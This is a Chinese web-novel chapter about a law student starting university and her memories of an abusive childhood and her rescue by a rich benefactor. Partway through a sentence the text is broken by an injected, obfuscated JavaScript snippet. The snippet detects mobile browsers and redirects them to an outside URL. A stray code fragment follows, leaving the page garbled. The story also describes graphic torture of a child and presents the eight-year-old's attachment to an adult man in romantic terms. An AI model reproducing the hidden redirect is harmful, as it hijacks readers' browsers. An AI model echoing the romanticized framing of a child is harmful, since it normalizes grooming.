八月末,R大正式开学,天气炎热,人人都背着大包小包汇聚校园,或许帝都真是藏龙卧虎,门口一溜儿豪车。
段瑾如独自一人从浙江安水赶来北京,一千多公里的路程,她背着书包,拉着一杆24寸行李箱,从早上天色未亮就出发,坐高铁中转上海,到达北京南站时已是中午时分了。
幸好车站派了志愿者来接,牌子高举,身上马甲颜色鲜亮,生怕初来乍到的新生看不清。
但即使这样,当她安然坐在学校大巴上吹着冷风空调时,还是疲累地出了一口长气,背后的热汗溻湿衬衫里面的吊带,衣服彻底扒在身上。
-
报到的帐篷点就在学校西门不远的博雅广场上,红色篷顶纵成列横成行,面门都拉着统一的条幅,标榜着各大学院的名字。
人流密集。
段瑾如手搭凉棚挡住正午的烈阳,眯着眼睛眺望,广场上灰色花岗岩地砖反射着日光,白花花的光线里满是交错的影子。她正犹豫从哪里穿过,不一会儿殷勤从那边来了两个穿马甲的志愿者,一个高个学长非常自然地接过了她手里的行李箱,说:“学妹哪个学院的?”
“法学院。”段瑾如用手背拭了一下脑门儿的细汗,弯着眼睛微微一笑。
法学院帐篷底下坐了三四个人,学长学姐言谈有趣、青春靓丽,个个笑脸相迎。她按照要求交上录取通知书、身份证等物,资格审查之后领了一堆东西。那位送她过来又帮她拎了一路行李箱的学长看她一人前来,无人相伴,欲送她回宿舍,被她再三笑言谢绝。
-
R大宿舍园区分为三个,分别是梅园、兰园、竹园。
法学院女生宿舍在兰园4号楼,此时正门口大排长龙,两个宿管阿姨在里面一张小桌子后忙着登记分发钥匙。
挤挤挨挨十几分钟终于进了门,段瑾如又独自一人穿梭在人群之中,拎着沉重的行李箱呼哧呼哧上了四楼。推开门,布局还算规整的四人间里其他三个已经到齐了,除了学生之外,里外里家长还填了一屋子,说话不停、欢声笑语、忙里忙外。
到处都是收拾过的干净气息,唯有她那一方靠着阳台的上床下桌孤零零地架着,灰尘一层,手指轻轻一抹,沙沙涩涩。
放下书包,和其他几位室友并家长打了个简单的招呼之后,她蹲在地上拉开行李箱,从里面取出一个小巧的防水包,里面是她事先准备好的清洁工具:两条旧毛巾,一双塑料手套,一包酒精湿巾。
一位家长阿姨手里还拿着抹布,笑着跟她闲聊,一边夸她独立、干活利索,一边“贬损”自家闺女,说你看看人家,多懂事,都不用家长来送,什么都是自己收拾。说完了,又扫了一眼屋子里的大家,叹说:“我家这姑娘,肩不能扛手不能提,从小就没干过什么活,以后还请你们多多体谅。”
段瑾如微微笑了一下,没再说什么了。
懂事、独立、能干,这些话她这些年听得耳朵都要起茧子,并不觉得是什么夸人的词。
尤其她没爹没妈。
-
安顿好宿舍里的一切,已经是下午两点多了,她饥肠辘辘,肚子一阵阵地发出抗议,毕竟从天色微亮出发到现在,七八个小时,她就只喝了半瓶水,吃了一块干巴面包。
她来得最晚,但是收拾得很快,别人都是两三个大行李箱,外加大包小包,被子枕头床帘床垫,水杯水盆化妆品吹风机等,她就从家里带了几件衣服几本书,行李箱里头塞了两条夏凉被。
从书包侧兜里翻出一张便签揣进兜里,她又对其他人客气地笑了笑就离开了宿舍。
-
校园里依旧很热,人也很多,庞大的教学楼群间暑气蒸腾、来往熙攘,她去附近的食堂里看了看,简直座无虚席。
超市里也乱作一团、摩肩接踵,她顶不喜欢这样热闹喧哗的地方,于是路过一家学校内部开设的肯德基店,直接就走了进去,点了两个汉堡。
一吃,想吐。
一股黏腻的鸡腥味,像把潮湿的羽毛塞进了嘴里,面包胚又软又塌,水里泡过一样难吃。怪不得风吹校园,满坑满谷的汽车与人,唯有这家店门可罗雀。
-
她不喜浪费食物,但实在难以下咽,就把面包胚凑合着吃完了,鸡排裹在包装纸里丢进了垃圾桶,又喝了两大杯温水顺心,才得以长舒一口气。
外面灿烂千阳,里面安静凉快,她忍不住趴在桌子上小憩了一会儿。
暑假一直在打工,都没什么时间收拾东西,临行前夜忙到凌晨三点,刚阖上眼睛,五点闹钟又叫起来。今天又忙活了这么一大通,此时一闲下来,就像被抽走了全身筋骨,腰酸背痛。
手机突兀在桌面上震动起来,她摸起来一看,是王钊。
来电显示备注:“小叔”。
“瑾瑾,怎么样,开学顺利吗?”
段瑾如推开肯德基的玻璃门,外头暑气扑面而来。“还行,挺热闹的,宿舍里面我都收拾完了,出来吃点东西。”
“嗯。”王钊的声音非常悦耳,“开学给了两天时间,我就说今天晚上回安水,明天就去送你,一天都等不得,自己去累坏了吧?”
“真的还行。”段瑾如咧开嘴笑了笑,“你工作忙,小婶最近身体也不好,石头还在上幼儿园,你就在上海多陪陪他们吧。”
她一向善解人意。
“钱够吗,怎么又给我退回来了?”王钊些许责怪。
小丫头没什么亲人,唯一抚养她长大的老太太前两年又去了,他这个当叔叔的不关心,这世上就没什么人再关心她了。
段瑾如心里微苦,但面上仍然笑了笑:“奶奶去世之前给我留了一些钱,够我读书用了,而且孔……叔叔资助我读书的那张卡现在还在我手里,他每个月都还在按时打钱呢。”
“嗯。”
段瑾如听到他那边传来嘈杂的声响,似乎有人找他签字,于是迟疑了一下,快速问了一句:“小叔,是明天下午四点半,朝阳区建国门外大街裕华大厦对吧?”
“对,约他一次不容易,你别迟到了。”
“知道了小叔。”
-
王钊今年三十二岁,年轻有为,现任国内最大的综合性私营企业裕华集团金融板块华东地区负责人,有妻有子,生活幸福。
他对她很好,把她当做亲侄女,但却不是她的亲小叔。或者说,这世上跟她有着血缘关系的人,或许早已没有了。
裕华集团作为中国最大的综合性私营企业,与国运紧密相连,历经半个多世纪,通过一系列大规模并购整合,目前已成为版图横跨金融、矿产、地产、文旅、医疗等众多行业的中国特色商业巨头。
创始人叫徐文骧,浙江安水人,是孔鸣谦的外曾祖父,清光绪三十年生人,其父为晚清进士,民国时期著名法学家、社会活动家,因组织并参与抗日救亡运动,触怒当局惨遭入狱,徐文骧为救其父,与当时上海商界某赫赫家族机巧相交,并与其独女成婚,承其家业,而后一再改革,锐意进取,历经年华巨变,发展壮大至今。
目前这艘巨轮已传至第三代,正由徐文骧之孙——孔鸣谦的舅父徐天执掌。
八岁那年,段瑾如第一次见到孔鸣谦,就是因为他从国
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310755|198829||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
外回来,到江浙看望已退的外祖及掌权的舅父。
那时候,也是巧,她妈妈去世了,殡仪馆里最普通的炉子火化,她爸爸厌极妈妈以不光彩的死法给他丢脸,不愿意给妈妈花一分钱,黑色塑料袋将骨灰一包,打了个死结,开车路过安水内河直接从车窗抛了出去,口子都没解开。
她当时坐在后座,心里急,眼睛哭得红肿,但什么也不敢做,父亲咬着烟向后望她一眼,她浑身都哆嗦。
不过两天,这位不知人性为何物的父亲便又从外面领回来一个人,花枝招展,肉-欲恒生,让她叫妈。
她不愿意,他们就欺负她,不让她读书,不给她吃饭,不停地虐待她,用烧红的铁板烫她的下-体,用尖锐的针头刺她的嘴巴。不仅如此,他们还毫无廉耻,经常门窗大敞,白日宣淫,而她无处可去,只能缩在厨房的小小角落,在女人的吟哦声中泪流满面。
那一年的大年夜,又是这般光景,外头冰天雪地,寒风如刃,她再也受不了了,赤着脚从家里逃了出来,继母在后追杀,她慌不择路,一头撞在了孔鸣谦的车上。
他带她去了医院,看到她的伤势,本就锋利的一张脸冷若冰霜,比外头的寒风暴雪更甚。
一周后,她出了院,孔鸣谦没有送她回家,反而带她回了自己下榻的酒店,高大奢华,迷宫一样的房间。她记得当时自己坐在他的腿上,不停地有人卑躬屈膝、反复催促,说一个小丫头,他们这些下面的人就处理了,您尽早去忙要紧事。
孔鸣谦本来有些松动,但她抱着他的脖子不撒手。
孔鸣谦可怜她,就推了外面的事情,一留就是半个月,帮她处理家事,以及她之后的读书抚养问题。
她记得最后离别的那一日,天上下着雾蒙蒙的小雨,身后的保镖撑着伞,孔鸣谦高大的身躯蹲下来与她平视,眼眸漆黑,温热而修长的手指把她的碎发别在耳后,轻声说:“他们犯罪了,以后不会再来找你了,小不点,你愿意跟我走吗?”
段瑾如记得,自己当时还很天真,黑黢黢的小手抓住他的衣领,不安地问:“什么罪?怎么会犯罪呢?”
她不懂。
孔鸣谦笑了笑,嘴角泛出春风般的暖意:“虐待儿童、贩卖毒品、组织卖-淫,有期徒刑十二年。”
都是冰冷的词汇,他偏带着一副菩萨面容说出来,更显残忍。
段瑾如听不懂,孔鸣谦也无谓她听不听得懂,黑色大衣一裹,直接抱她上车。
豪华的车内干燥而温暖,她坐在他的腿上,耳朵贴在他的胸口。孔鸣谦一路都在讲电话,用的还是她听不懂的语言。她听着坚实的胸腔里传来的强有力的心跳,简直心神沉醉。
她那时还小,不明白什么叫依赖什么叫爱,只知道面前这个男人给了她从来没有拥有过的强烈的安全感。
那时的孔鸣谦于她而言,与救世主无异。
车子穿越大半个城市,迤逦前行,最终停在一处古朴的老式小区门口。
孔鸣谦牵着她的手进去,在某处一楼带花园的房子里,一位老奶奶正在门口择菜,看起来身材臃肿,走起来行动不便。
孔鸣谦说,这是他外婆以前的仆人,侍奉了外婆许多年,前两年外婆仙去,这位老女仆也就搬出了徐府,如今无儿无女,独自一人过活。你以后就跟着她吧,她会待你很好的,小不点,你要好好读书、识字、交朋友,好好长大。
然后他就离开了,只留下了一张薄薄的银行卡,说是给老人家治病和她这个小孩儿读书的费用,每个月两万,会按时打来。
只是从那以后,一晃好多年,他再没来过。